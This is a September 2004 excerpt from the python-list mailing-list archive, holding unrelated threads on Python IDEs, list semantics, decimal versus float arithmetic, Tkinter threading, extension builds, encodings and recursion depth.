-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3901 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040925/9a68f93b/attachment.bin>

From chrisks at NOSPAM.udel.edu  Tue Sep 21 16:36:00 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Tue, 21 Sep 2004 20:36:00 GMT
Subject: python ides
In-Reply-To: <mailman.3639.1095771048.5135.python-list@python.org>
References: <mailman.3639.1095771048.5135.python-list@python.org>
Message-ID: <Qg04d.3086$Ec4.2542@trndny04>

kevin wrote:

> just try it, =)
> 
>   http://wingware.com/downloads

Aside from being proprietary, how is WingIDE different from SPE 
(spe.pycs.net)?

 > full callback tip

SPE's got that.

 > autocompletion support

SPE's got that.

 > if the ide doesnt know what type is the object(cause of dinamic 
typing),you
 > can still use code assist, for example :
 >
 >  def myfunction(unknowntype):
 >
 >     unknowntype.  ????
 >
 > and you know that unknowntype is a Cookie instance, then type ' Cookie. '
 > and you will get the assistance

What?

 > complete code-object browser

SPE's got that.

 > and finaly ,a super complete debuger , with support for plone/zope ,
 > wxwindows and a lot of advanced options.

I'll give you this one, this I don't think SPE has a traditional 
"debugger". Although to be fair, I've never needed one for Python.

SPE also integrates with WxGlade and Blender for Gui design and 3D design.


From PeterAbel at gmx.net  Thu Sep  9 17:25:35 2004
From: PeterAbel at gmx.net (Peter Abel)
Date: 9 Sep 2004 14:25:35 -0700
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<21064255.0409081005.2dadcdb@posting.google.com>
	<Xns955F64A72538Cduncanrcpcouk@127.0.0.1>
Message-ID: <21064255.0409091325.22c0e7f5@posting.google.com>

Duncan Booth <duncan.booth at invalid.invalid> wrote in message news:<Xns955F64A72538Cduncanrcpcouk at 127.0.0.1>...
> PeterAbel at gmx.net (Peter Abel) wrote in 
> news:21064255.0409081005.2dadcdb at posting.google.com:
> 
> > When you iterate over a list with a for-loop as you do it,
> > you get a copy of "each" item of the list. What you're doing
> > is deleting this copy, which is bound to the variable *each*.
> 
> This explanation is badly wrong.
> 
> None of the items in the list is copied, nor are any objects (copied or 
> otherwise) being deleted. A new reference is created to each of the items, 
> and that reference is deleted either by the 'del' statement, or when each 
> is rebound or goes out of scope.
> 
> The objects themselves are deleted only when the last reference to the 
> object is deleted (which doesn't happen here).

This explanation is correct.

My english is not yet good enough to enunciate in that brilliant way
you did but I promise I'll work hard on it (mea culpa) :-)

Peter


From roy.OMITTHISBIT.ayres at dsl.pipex.com  Tue Sep 14 13:36:11 2004
From: roy.OMITTHISBIT.ayres at dsl.pipex.com (Rgemini)
Date: Tue, 14 Sep 2004 18:36:11 +0100
Subject: avi file duration, frame-count etc
Message-ID: <2qoog9F12856dU1@uni-berlin.de>

Does anyone know of a simple Python module that would let me read out the 
playing duration of an avi file? Or a way of getting the information using 
the os? I use WinXP & Win98.

The Multimedia Services documentation doesn't explicitly mention video files 
and Mr Google wasn't as helpful as usual ...

Rgemini, who shall remain sigless.
(reply-to spamtrapped) 




From carribeiro at gmail.com  Fri Sep 24 20:59:32 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 21:59:32 -0300
Subject: Why not FP for Money?
In-Reply-To: <cj2ehb$h95$0$216.39.172.122@theriver.com>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
Message-ID: <864d3709040924175936a6cf90@mail.gmail.com>

On 25 Sep 2004 00:35:55 GMT, Bengt Richter <bokr at oz.net> wrote:
> [ regarding context ]
> [1] Sorry I haven't read the specs, I just haven't goten to it ;-/

That's it -- there's a context object. And that's what should be used
for fixed point too. I also liked your 10d3 example -- it's a nice
extension to the basic syntax.

A last note: unless dictated by context otherwise, I think that adding
two fixed point numbers should round/truncate to the smallest number
of decimal places, as in:

12.34d + 10.001d --> 32.34

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From peter at engcorp.com  Sat Sep 11 22:26:29 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Sep 2004 22:26:29 -0400
Subject: 'telegraphy' as a means of data entry
In-Reply-To: <QOK0d.394968$gE.276141@pd7tw3no>
References: <QOK0d.394968$gE.276141@pd7tw3no>
Message-ID: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca>

Elaine Jackson wrote:

> I need to record the respective times of the events in a sequence of
> presses/releases of a particular key on the computer keyboard. The key in
> question should also make a sound when depressed (perhaps a forlorn sigh - tee
> hee). On the face of it, it seems like it should be fairly straightforward to
> achieve this with a suitable combination of ingredients from Tkinter, time and
> winsound. 

Does this have to work regardless of what else is going on on
the computer, or is it okay if it works only when the window
for this particular application is active?  (In other words,
it's easy to do if the keypresses go only to this program,
but if you want to capture *all* keypresses at all times,
you can't do it, AFAIK, using just a GUI toolkit like wxPython
or Tkinter... you have to use an OS hook of some kind.)

-Peter


From lynn at garlic.com  Fri Sep  3 12:45:24 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Fri, 03 Sep 2004 10:45:24 -0600
Subject: Xah Lee's Unixism
References: <uhdqgekw0.fsf@mail.comcast.net>
	<10jepndi1en2id8@corp.supernews.com>
Message-ID: <uk6vbs3mj.fsf@mail.comcast.net>

SM Ryan <wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org> writes:
> It's nice to know people still have time to work on really important things.

was also responsible for adeventure inside the company ... recent
pst in a.o.m
http://www.garlic.com/~lynn/2004k.html#38 Adventure

slight reference to the internal network in above
http://www.garlic.com/~lynn/subtnetwork.html#internalnet

one of the arguments we used in proposed security sweeps to find all
copies ... was that a public entertainment area would be less of a
problem than attempting to outright & totally outlaw such activities.
for one thing a single (trusted?) entertainment area would use less
disk space than lots of disguised (to evade security sweep) individual
copies.

random past adventure threads
http://www.garlic.com/~lynn/98.html#56 Earliest memories of "Adventure"  & "Trek"
http://www.garlic.com/~lynn/99.html#169 Crowther (pre-Woods) "Colossal Cave"
http://www.garlic.com/~lynn/2000b.html#72 Microsoft boss warns breakup could worsen virus problem
http://www.garlic.com/~lynn/2000d.html#33 Adventure Games (Was: Navy orders supercomputer)
http://www.garlic.com/~lynn/2001m.html#14 adventure ... nearly 20 years
http://www.garlic.com/~lynn/2001m.html#17 3270 protocol
http://www.garlic.com/~lynn/2001m.html#44 Call for folklore - was Re: So it's cyclical.
http://www.garlic.com/~lynn/2003f.html#46 Any DEC 340 Display System Doco ?
http://www.garlic.com/~lynn/2003i.html#69 IBM system 370
http://www.garlic.com/~lynn/2003l.html#40 The real history of computer architecture: the short form
http://www.garlic.com/~lynn/2004c.html#34 Playing games in mainframe
http://www.garlic.com/~lynn/2004g.html#2 Text Adventures (which computer was first?)
http://www.garlic.com/~lynn/2004g.html#7 Text Adventures (which computer was first?)
http://www.garlic.com/~lynn/2004g.html#49 Adventure game (was:PL/? History (was Hercules))
http://www.garlic.com/~lynn/2004g.html#57 Adventure game (was:PL/? History (was Hercules))

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From adalke at mindspring.com  Fri Sep 10 20:44:31 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 11 Sep 2004 00:44:31 GMT
Subject: string formatting with mapping & '*'...  is this a bug?
In-Reply-To: <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com>
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
	<20040909183705.69696290@gypsy.pfortin.com>
	<1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com>
	<20040910064659.7a1c66af@gypsy.pfortin.com>
	<1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com>
	<20040910093156.4cfcb6ff@gypsy.pfortin.com>
	<1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com>
Message-ID: <PTr0d.3105$xA1.2293@newsread3.news.pas.earthlink.net>

Alex
> Ah, sorry, my favourite idiom to avoid the boilerplate of
> 
>     def __init__(self, fee, fie, foo, fum):
>         self.fee = fee
>         self.fie = fie
>         self.foo = foo
>         self.fum = fum

A "clever" (a-hem :) solution can use decorators.
It's hard to make the call signature correct though.
Here's a hack solution using exec, which is the wrong
way to do it.  For example, it gets the nested scope
wrong for the context of the original function.  But
I'm not Raymond Hettinger and I can't fiddle Python's
byte code well enough for a more correct solution.



# Ugly hack!  Do not use this!  Only for grins!

def store_args(f):
     co = f.func_code
     # I think this is right way to get the parameter list
     argnames = co.co_varnames[:co.co_argcount]
     if argnames[:1] != ("self",):
         raise TypeError("first parameter must be 'self'")
     argnames = argnames[1:]

     argdef = list(argnames)
     if f.func_defaults:
       start = len(argnames) - len(f.func_defaults)
       for i in range(len(f.func_default)):
         argdef[start+i] = "%s = _defaults[%s]" % (argdef[start+i], i)

     lines = ["def %s(self, %s):" % (f.func_name, ", ".join(argdef))]
     for argname in argnames:
         lines.append("  self.%s = %s" % (argname, argname))

     lines.append("  return __func(self, %s)\n" %
                  (", ".join(argnames), ))

     code = "\n".join(lines)

     g = f.func_globals.copy()
     g["__func"] = f
     d = {"_defaults": f.func_defaults}

     exec code in g, d
     return d[f.func_name]


class Spam:
     @store_args
     def __init__(self, x, y, z):
         pass


 >>> a = Spam(3,4,5)
 >>> print a.x, a.y, a.z
3 4 5
 >>> b = Spam(z=8,x=6,y=7)
 >>> print b.x, b.y, b.z
6 7 8
 >>>

				Andrew
				dalke at dalkescientific.com


From roy at panix.com  Sun Sep  5 10:35:43 2004
From: roy at panix.com (Roy Smith)
Date: Sun, 05 Sep 2004 10:35:43 -0400
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
Message-ID: <roy-D04C66.10354305092004@reader1.panix.com>

I asked:
> How is a class instance's mutability any less of disqualifier for
> key-ness than a list's mutability?

Benjamin Niemann <pink at odahoda.de> wrote:

> a = [1, 2, 3]
> b = [1, 2, 3]
> if a == b:
> 	print "List equality is based on content"

Tuple (and string) equality is based on content too.  So what?  I can 
give my data class an __eq__ method, and then my class instance equality 
would also based on content.

So, to restate my original question, why should my mutable, 
content-based-eqality class instance be a valid dictionary key, when a 
list is not?  Which part of a list's behavior makes it inherently 
unusable as a key?  I'm not asking about design philosophy, I'm asking 
about observable behavior.


From jianqiz at bigpond.com  Wed Sep 29 03:41:26 2004
From: jianqiz at bigpond.com (Michael Zhang)
Date: Wed, 29 Sep 2004 07:41:26 GMT
Subject: One thread freezes my whole application
Message-ID: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au>

My project uses Python-2.3.4 + Tkinter + PIL-1.1.4 to retrieve images 
from UDP server and display those images on a RedHat 9 box.

On my GUI there are two buttons: "connection button" is to create a 
connection to server, listen to any upcoming image packets, and write 
those data into a buffer; "display button" is to read the data from the 
buffer and display them in a infinite loop.

It's a natual approach to create two threads for each tasks (connection 
and display) from the base thread (GUI application).

The callback for the display button implements a Tkinter canvas.

The callback for the connection button is imported from a module created 
from a C function using swig-1.3.22.

For test purpose, I tried to invoke the display thread to display a 
image from a local file system and then invoke the connection thread to 
see if two threads can work separately.

The problem is when I click the connection button and invoke that 
connection thread, the whole application (including base thread and 
display thread) was frozen. What I expected was when one thread is 
listerning the socket, the display thread should be able to continue its 
running, and I should be able to invoke other (if any) threads from the 
GUI base thread. Afterwards, I had to use ps/kill to clean them up.

I'm quite new to Python. I started to learn Python and those libraries 
two months ago just after we chosed this project.

Here is my simplified code segments:

=============== Code segments Start ==============

class displayThread(threading.Thread):
     # the thread for displaying images
     def __init__(self, master):
	threading.Thread.__init__(self)
	self.master = master

     def run(self):
	UI(self.master)	 # create a Toplevel window to display

class connectionThread(threading.Thread):
     # the thread for connecting to server
     def __init__(self):
	threading.Thread.__init__(self)

     def run(self):
	Cmodule.create_connection() # Cmodule is created from C


class ControlPanel(Frame):
     # base GUI application from which all those threads are invoked
....
     def connect(self):
	# callback for connection button
	connectionThread().start()

     def display(self):
	# callback for display button
	top = Toplevel()
	displayThread(top).start()

=============== Code segments End ==============

What I'm thinking now is above threads code are quite standard and 
simple, there must be some other subtle issues beyond my knowledge.

Could someone help me out about those thread stuff? Thanks!

Michael






From abra9823 at mail.usyd.edu.au  Wed Sep 29 02:03:00 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Wed, 29 Sep 2004 16:03:00 +1000
Subject: extending python
Message-ID: <1096437780.415a50144461d@www-mail.usyd.edu.au>

hi!

does the init<modulename> function has to have a PyMODINIT_FUNC return
type.
i am building PyOpenSSL for a pocket pc using embedded visual c++ and i am
doing so by putting together all the C files together for OpenSSL/crypto
and building crypto.pyd
now crypto.c has void initcrypto

Build works fine. But when i import it, i get an error saying dynamic load
module does not define an init function (initcrypto)
the same build using VC++ 6.0 works fine on the PC and i can even import
it.

any ideas?

thanks

cheers






----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From Scott.Daniels at Acm.Org  Wed Sep 22 17:33:03 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 22 Sep 2004 14:33:03 -0700
Subject: distutils and mingw32
Message-ID: <4151f3f8$1@nntp0.pdx.net>

I'm trying to get distutils in 2.4 happy running mingw32.  I've chased
a few things down, but now I'm getting:

C:\Documents and Settings\daniels\Desktop\Py\block>\python24\python 
setup.py bui
ld_ext -cmingw32
running build_ext
building '_block' extension
C:\MinGW\bin\gcc.exe -mno-cygwin -mdll -O -Wall -IC:\python24\include \
       -IC:\python24\PC -c _blockmodule.c \
       -o build\temp.win32-2.4\Release\_blockmodule.o
writing build\temp.win32-2.4\Release\_block.def
C:\MinGW\bin\gcc.exe -mno-cygwin -shared \
       -s build\temp.win32-2.4\Release\_blockmodule.o \
       build\temp.win32-2.4\Release\_block.def \
       -LC:\python24\libs -LC:\python24\PCBuild -lpython24 -lmsvcr71 \
       -o build\lib.win32-2.4\_block.pyd

build\temp.win32-2.4\Release\_blockmodule.o(.text+0x41):_blockmodule.c: 
undefined reference to `_imp__PyExc_TypeError'
build\temp.win32-2.4\Release\_blockmodule.o(.text+0x9d):_blockmodule.c: 
undefined reference to `_imp__PyExc_TypeError'

... (and so on for lots of these type constants).

I presume I am doing something wrong here, but I'm not used to what
underlying stuff is happening (why is everythin _imp__PyExc_TypeError?)
Is this a missing file to link or what?

a confused and bemused
-Scott David Daniels
Scott.Daniels at Acm.Org


From fluxent at yahoo.com  Thu Sep  9 21:44:16 2004
From: fluxent at yahoo.com (Bill Seitz)
Date: 9 Sep 2004 18:44:16 -0700
Subject: newbie sending hex values over UDP socket
Message-ID: <e2491a75.0409091744.53fab172@posting.google.com>

I'm working with an outside "partner" to whom I want to send messages
(I want my app to send messages to his server/receiver). He requests
that I use UDP and an "industry standard" for formatting the data
itself.

That format is basically a bunch of hex bytes.

So instead of sending 3 alphanum chars
  ri0

I have to send 3 bytes which he explains as being
  72 69 30

Now, what the heck should I really be sending? I know he's giving just
a simplified representation.

Am I really looking to send 
  '726930'
or 
  '\x72\x69\x30'
or
  (something else)?

If I'm aiming for the 2nd format, how do I best generate it? If I'm
going the other direction, it seems like
  struct.unpack('sss','\x72\x69\x30')
works OK

But going the other direction doesn't work:
  struct.pack('sss','r','i','0') -> 'ri0'

If I'm going for the first format, then I guess
  binascii.hexlify('ri0')
is the answer, right?

Sorry for the silly question... I'm trying not to look like a chump
(to that partner)


From manuelbastioniNOSPAM at tin.it  Sat Sep 11 11:29:47 2004
From: manuelbastioniNOSPAM at tin.it (manuel)
Date: Sat, 11 Sep 2004 15:29:47 GMT
Subject: little problem with list.reverse() function
Message-ID: <LRE0d.236333$OR2.10714605@news3.tin.it>

 >>> a = [[1,2],[2,3],[4,5]]
 >>> print a
[[1, 2], [2, 3], [4, 5]]
 >>> print a.reverse()
None
 >>>



???
Thanks...


From gandalf at geochemsource.com  Thu Sep  2 14:57:27 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Thu, 02 Sep 2004 20:57:27 +0200
Subject: Encoding problems
Message-ID: <41376D17.9070707@geochemsource.com>


 Hi All!

I have a program that looks like this:

# -*- coding: iso-8859-2 -*-
s1 = 'n?z'
s2 = raw_input('Please type in "n?z":')
print repr(s1)
print repr(s2)

I always type in the same ('n?z') on the input.

On windows, this the result:

C:\Temp\>test.py
Please type in "n?z":n?z
'n\xe9z'
'n\x82z'

C:\Temp>

On FreeBSD, this is the result:

%python ./test.py
Please type in "n?z":n?z
'n\xe9z'
'n\xe9z'
%

Apparently, the encoding of the python file and the encoding used on the 
win32 console is different.
I need to write a console mode program that processes input from the 
console. Both on UNIX and Windows.
It is no use if I give the encoding of the file, the raw input will be 
still bad. Is there a way to give
an encoding for raw_input somehow? Of course I could convert the input 
explicitely but it depends on the
platform.... Somehow Python should know the encoding of the console.

Comments are more than welcome.

   Laci 2.0




From no at no.com  Tue Sep 28 05:57:41 2004
From: no at no.com (richard)
Date: Tue, 28 Sep 2004 09:57:41 GMT
Subject: no ideas?
Message-ID: <pAa6d.315483$vG5.75864@news.chello.at>

gcc 3.4.1

hello when i compile @ make with python 2.3.4 comes this error

c++ -pthread  -Xlinker -export-dynamic -o python \
                Modules/python.o \
                libpython2.3.a -lpthread -ldl  -lutil   -lm
/usr/bin/ld: Dwarf Error: Invalid or unhandled FORM value: 14.
libpython2.3.a(posixmodule.o): In function `posix_tmpnam':
/usr/src/Python-2.3.4/./Modules/posixmodule.c:6063: the use of `tmpnam_r' is
dangerous, better use `mkstemp'
libpython2.3.a(posixmodule.o): In function `posix_tempnam':
/usr/src/Python-2.3.4/./Modules/posixmodule.c:6018: the use of `tempnam' is
dangerous, better use `mkstemp'
collect2: ld returned 1 exit status
make: *** [python] Error 1

thanks for help





From indigo at bitglue.com  Mon Sep 20 09:27:48 2004
From: indigo at bitglue.com (Phil Frost)
Date: Mon, 20 Sep 2004 09:27:48 -0400
Subject: How to count lines in a text file ?
In-Reply-To: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
Message-ID: <20040920132748.GA13012@unununium.org>

Yes, you need a for loop, and a count variable. You can count in several
ways. File objects are iterable, and they iterate over the lines in the
file. readlines() returns a list of the lines, which will have the same
effect, but because it builds the entire list in memory first, it uses
more memory. Example:

########

filename = raw_input('file? ')
file = open(filename)

lines = 0
for line in file:
  # line is ignored here, but it contains each line of the file,
  # including the newline
  lines += 1

print '%r has %r lines' % (filename, lines)

########

another alternative is to use the standard posix program "wc" with the
-l option, but this isn't Python.

On Mon, Sep 20, 2004 at 03:18:53PM +0200, Ling Lee wrote:
> Hi all.
> 
> I'm trying to write a program that:
> 1) Ask me what file I want to count number of lines in, and then counts the 
> lines and writes the answear out.
> 
> 2) I made the first part like this:
> 
> in_file = raw_input("What is the name of the file you want to open: ")
> in_file = open("test.txt","r")
> text = in_file.read()
> 
> 3) I think that I have to use a for loop ( something like: for line in text: 
> count +=1)
> Or maybee I have to do create a def: something like: ( def loop(line, 
> count)), but not sure how to do this properly.
> And then perhaps use the readlines() function, but again not quite sure how 
> to do this. So do one of you have a good idea.
> 
> Thanks for all help


From andrea.valle at unito.it  Sun Sep 26 04:06:37 2004
From: andrea.valle at unito.it (andrea valle)
Date: Sun, 26 Sep 2004 10:06:37 +0200
Subject: wave.readframes() (or conversion?)
In-Reply-To: <maocl0hgs9ha25a4441jkdnuppldahmvk8@4ax.com>
References: <mailman.3880.1096068030.5135.python-list@python.org>
	<maocl0hgs9ha25a4441jkdnuppldahmvk8@4ax.com>
Message-ID: <FD7692D6-0F92-11D9-9304-0003939C968C@unito.it>


On 26 Sep 2004, at 08:31, Tim Roberts wrote:

> You get back a buffer of bytes.  You can use the array() module to 
> convert
> it to a list of integers.


Thanks a lot, I'll try.


> What version of Python are you using??  On my Win32 Python 2.3, 
> writeframes
> accepts only strings, and only after you have set the frame rate, 
> sample
> size, and number of channels.

I'm using MacPython hardwired (damn') with Numerical package (Numeric 
22.0) in MacOSX 10.3.5. It's Python2.3.
I surely have to set wave params, but then I pass .writeframes an array 
converted to list (array.tolist()). Works for me (luckily).

Here a minimum example:

from Numeric import *
from RandomArray import *

class SoundFile:
	def  __init__(self, signal):
		self.file = wave.open('/test.wav', 'w')
		self.signal = signal
		self.sr = 44100
	
	def write(self):
		print "\nwriting to wavefile"
		self.file.setparams((1, 2, self.sr, 6, 'NONE', 'noncompressed'))
		self.file.writeframes(self.signal.tolist())
		print "done\n"

signal = uniform(-1, 1, 44100)
f = SoundFile(signal)
f.write()

Best

-a-


Andrea Valle
Laboratorio multimediale "G. Quazza"
Facolt? di Scienze della Formazione
Universit? degli Studi di Torino
andrea.valle at unito.it
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: text/enriched
Size: 1568 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040926/0729aefb/attachment.bin>

From gg20040914.20.sebsauvage at spamgourmet.com  Tue Sep 14 16:54:02 2004
From: gg20040914.20.sebsauvage at spamgourmet.com (sebsauvage)
Date: 14 Sep 2004 13:54:02 -0700
Subject: webGobbler
Message-ID: <286edf51.0409141254.68783e60@posting.google.com>

Hello, dear dear clp.


The idea was bugging me, so I decided to code it:

webGobbler is a small program which gobbles random pictures
from the web and mixes them (This is inspired from 'debris' and 'webcollage'.).

Think of it as some kind of "art", an attempt to capture the chaos
of the human activity, which the internet is a partial and subjective
snapshot of.


webGobbler is a simple command-line program which spiders the web, collect
images and assembles them in various ways.
The images can be used - for example - as a desktop background changer.
The image continuously evolves as new pictures are superposed.
You'll never get the same picture twice.

A screensaver is also planned (when I have time - *sigh*).

The program is written in Python and requires the PIL library.

This is perfectly useless, but I had fun creating this.
You will find documentation, samples and source code here:
http://sebsauvage.net/python/webgobbler/

Feel free to give it a try.
This program is distributed under the zlib/libpng opensource license.


Critics, comments and ideas are welcome !



Best regards.
--
Sebastien SAUVAGE
sebsauvage at sebsauvage dot net
http://sebsauvage.net


From danb_83 at yahoo.com  Sun Sep 19 18:24:31 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 19 Sep 2004 15:24:31 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>	<mailman.3490.1095579571.5135.python-list@python.org>	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
Message-ID: <ad052e5c.0409191424.2aab5bb4@posting.google.com>

Gary Herron <gherron at islandtraining.com> wrote in message news:<mailman.3494.1095586574.5135.python-list at python.org>...
> On Sunday 19 September 2004 01:00 am, Chris S. wrote:
> > Gary Herron wrote:
> > > That's called rational arithmetic, and I'm sure you can find a package
> > > that implements it for you.  However what would you propose for
> > > irrational numbers like sqrt(2) and transcendental numbers like PI?
> >
> > Sqrt is a fair criticism, but Pi equals 22/7, 
> 
> What? WHAT?  Are you nuts?  Pi and 22/7 are most certainly not equal.
> They don't even share three digits beyond the decimal point.

There are, of course, reasonably accurate rational approximations of
pi.  For example, 355/113 (accurate to 6 decimal places), 312689/99532
(9 decimal places), or 3126535/995207 (11 decimal places).  Also, the
IEEE 754 double-precision representation of pi is equal to the
rational number 4503599627370496/281474976710656.

> ...Pi is a non-repeating and non-ending number in base 10 or any other base.)

It has a terminating representation in base pi ;-)

But you're right that it has a non-repeating and non-ending
representation in any _useful_ base.

> If you are happy doing calculations with decimal numbers like 12.10 +
> 8.30, then the Decimal package may be what you want, but that fails as
> soon as you want 1/3.  But then you could use a rational arithmetic
> package and get 1/3, but that would fail as soon as you needed sqrt(2)
> or Pi.

True, but who says we need to use the same representation for all
numbers.  Python _could_ use rationals in situations where they'd work
(like int/int division), and only revert to floating-point when
necessary (like math.sqrt and math.pi).

> And BTW, your calculator is not, in general, more accurate than the
> modern IEEE binary hardware representation of numbers used on most of
> today's computers.

In general, it's _less_ accurate.  In IEEE 754 double-precision,
machine epsilon is 2**-53 (about 1e-16), but TI's calculators have a
machine epsilon of 1e-14.  Thus, in general, IEEE 754 gives you about
2 more digits of precision than a calculator.

> It is more accurate on only a select subset of all numbers,

Right.  In most cases, base 10 has no inherent advantage.  The number
1.41 is a _less_ accurate representation of sqrt(2) than 0x1.6A.  The
number 3.14 is a less accurate representation of pi than 0x3.24.  And
it's not inherently more accurate to say that my height is 1.80 meters
rather than 0x1.CD meters or 5'11".

Base 10 _is_ more accurate for monetary amounts, and for this reason I
agreed with the addition of a decimal class.  But it would be a
mistake to use decimal arithmetic, which has a performance
disadvantage with no accuracy advantage, in the general case.


From cpl.19.ghum at spamgourmet.com  Sun Sep  5 13:44:08 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Sun, 5 Sep 2004 17:44:08 +0000 (UTC)
Subject: Lager'd Statistics on language migration
References: <2ae25c6b.0409050132.4ce24330@posting.google.com>
Message-ID: <Xns955BC8D9DD29Ccpl19ghumspamgourmet@195.20.224.116>

Paddy,

what google do you google?

I just checked out one number:

"perl to python migration"          785

giving me

Ergebnisse 11 - 20 von ungef?hr 87.100 f?r perl to python migration. (0,20 
Sekunden) 

(on english: google found around 87.100 entries for "perl to python 
migration")

the dark side is that most deal with one book of this title

Harald


From mwh at python.net  Tue Sep  7 11:13:00 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 7 Sep 2004 15:13:00 GMT
Subject: PHP Documentation
References: <mailman.2616.1093881807.5135.python-list@python.org>
	<chkfja$f62$1@wheel2.two14.net>
Message-ID: <m3isaqcdtw.fsf@pc150.maths.bris.ac.uk>

Martin Maney <maney at pobox.com> writes:

> My first thought was "of course!"  Then I thought, "maybe I should take
> a look."  That stopped me: every document I've checked says to find the
> licence and permissions at the end (in "About this document..." - BTW,
> what's with the ellipses?).  Not one of the identical "About" sections
> I've looked at has had any hint of a license in it.

The Python documentation is under the same license as the rest of
Python, AFAICT:

...

B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
===============================================================

PSF LICENSE AGREEMENT FOR PYTHON 2.4
------------------------------------

1. This LICENSE AGREEMENT is between the Python Software Foundation
("PSF"), and the Individual or Organization ("Licensee") accessing and
otherwise using Python 2.4 software in source or binary form and its
associated documentation.

...

Cheers,
mwh

-- 
  Back in the old days, software would grow until it could send and
  receive e-mail, but now that even the virusses are doing that, the
  fashion has changed, and now software evolves until it has venomous
  fangs, the better to do serious damage when it sucks.    -- AdB, asr


From chrisks at NOSPAM.udel.edu  Sat Sep 18 01:26:28 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sat, 18 Sep 2004 05:26:28 GMT
Subject: PyYaml?
In-Reply-To: <tjP2d.3590$gG4.3344@newsread1.news.pas.earthlink.net>
References: <2IO2d.1086$HH5.1025@trndny05>
	<tjP2d.3590$gG4.3344@newsread1.news.pas.earthlink.net>
Message-ID: <8GP2d.72$Pz3.9@trndny01>

Andrew Dalke wrote:

> Looking at the PyYaml docs, under "limitations"
> 
> 
> ] PyYaml converts Python builtin types bidirectionally, and converts
> ] instances unidirectionally (although with directives eg from_yaml
> ] and to_yaml it can do this bidirectionally). When YAMLizing an
> ] instance, PyYaml serializes only its instance data (its '.dict'),
> ] with no meta-information about which class it came from.
> 
> Add support for restoring an arbitrary class and you end
> up with exactly the same security problems pickle has.

I believe those docs are slightly out dated. PyYaml does have limited 
support for class restoration (at least in my experience). Granted the 
class definition must be loaded into the current frame, a similar 
limitation of Pickle. However, Pickle's small programming language 
allows for arbitrary file deletion. That would not be possible with Yaml.

> Also, I'll guess that it doesn't handle Python's new __slots__
> since it only mentions __dict__.

True. In fact, the current implementation doesn't yet fully handle 
subclassing/inheritance. They've done a lot, but it's still a work in 
progress.


From adalke at mindspring.com  Sat Sep 25 20:09:02 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 26 Sep 2004 00:09:02 GMT
Subject: getrecursiondepth
In-Reply-To: <qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com>
References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com>
	<cj3rd9$i9j$1@pegasus.csx.cam.ac.uk>
	<qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com>
Message-ID: <yMn5d.9974$gG4.9921@newsread1.news.pas.earthlink.net>

Manlio Perillo wrote:
>>>>foo()
> 
> n = 0 and recursion depth = 1
> n = 1 and recursion depth = 2
> n = 2 and recursion depth = 3
> n = 3 and recursion depth = 4

  Why is it needed?

  Unlike getrecursionlimit it is something that can be
calculated pretty easily.

 >>> def getdepth():
...   f = sys._getframe()
...   i = -1
...   while 1:
...     try:
...       f = f.f_back
...     except AttributeError:
...       return i
...     i = i + 1
...
 >>> def test(n):
...   if n==0: return getdepth()
...   return test(n-1)
...
 >>> test(10)
12
 >>> test(30)
32
 >>> test(sys.getrecursionlimit()-3)
999
 >>>

Anything which depends on the exact number is going
to have problems because that depends on the environment.
For example, in idle getdepth() from its shell
returns 4 instead of the 2 found in the command-line
shell.

				Andrew
